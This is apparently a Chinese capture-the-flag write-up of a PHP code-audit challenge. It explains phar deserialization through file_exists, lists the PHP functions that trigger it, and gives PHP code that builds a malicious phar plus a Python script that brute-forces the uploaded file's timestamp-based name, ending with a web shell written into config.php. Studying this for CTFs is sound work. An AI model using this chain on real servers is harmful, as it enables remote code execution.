从纵横杯的一道代码审计题学phar反序列化
果然是被乱锤 就做出来这道题目 流下了没技术的眼泪
打开后扫描有www.zip代码审计
读完代码发现账号密码
index.php发现使用到了file_exists函数 class类文件里面重命名上传后缀为jpg 没有反序列化函数
前两天刚好做到一道题就是利用phar反序列化解题
利用条件
- 能够上传phar文件到服务器,可将phar文件伪装成其他格式文件绕过上传;
- 要有可用的魔术方法作为“跳板”;
- 文件操作函数的参数可控,且:、/、phar等特殊字符未被过滤。
受影响函数
fileatime filectime filemtime file_exists file_get_contents file_put_contents
file filegroup fopen fileinode fileowner fileperms
is_dir is_file is_link is_executable is_readable is_writeable
is_wirtble parse_ini_file copy unlink stat readfile info_file
思路就是构造反序列化然后上传phar文件通过file_exists函数触发class中的魔术方法_destrut将构造好的而恶意函数写进config.php文件中
先进php.ini设置一下
<?php
$config=new Config();
@unlink("1.phar");
$phar = new Phar("1.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($config);
$phar->addFromString("1.txt", "1");
$phar->stopBuffering();
访问php会生成phar文件 上传后文件是时间戳的md5 py脚本爆破
#!/usr/bin/env python3
#-*- coding:utf-8 -*-
import time
import requests as req
import hashlib
def md5(s):
return hashlib.md5(s.encode()).hexdigest()
for i in range(100):
url = f"http://your container/static/{md5(str(int(time.time())))}.jpg"
r = req.get(url)
if r.status_code == 200:
print(url)
break
else:
print(i, r.status_code)
time.sleep(1)
访问触发反序列化
就能看到config.php中被写入了shell
比赛的时候权限没这么大
直接print_r(scanf('./'))之后echo file_get_contents('/flag')就能拿到flag了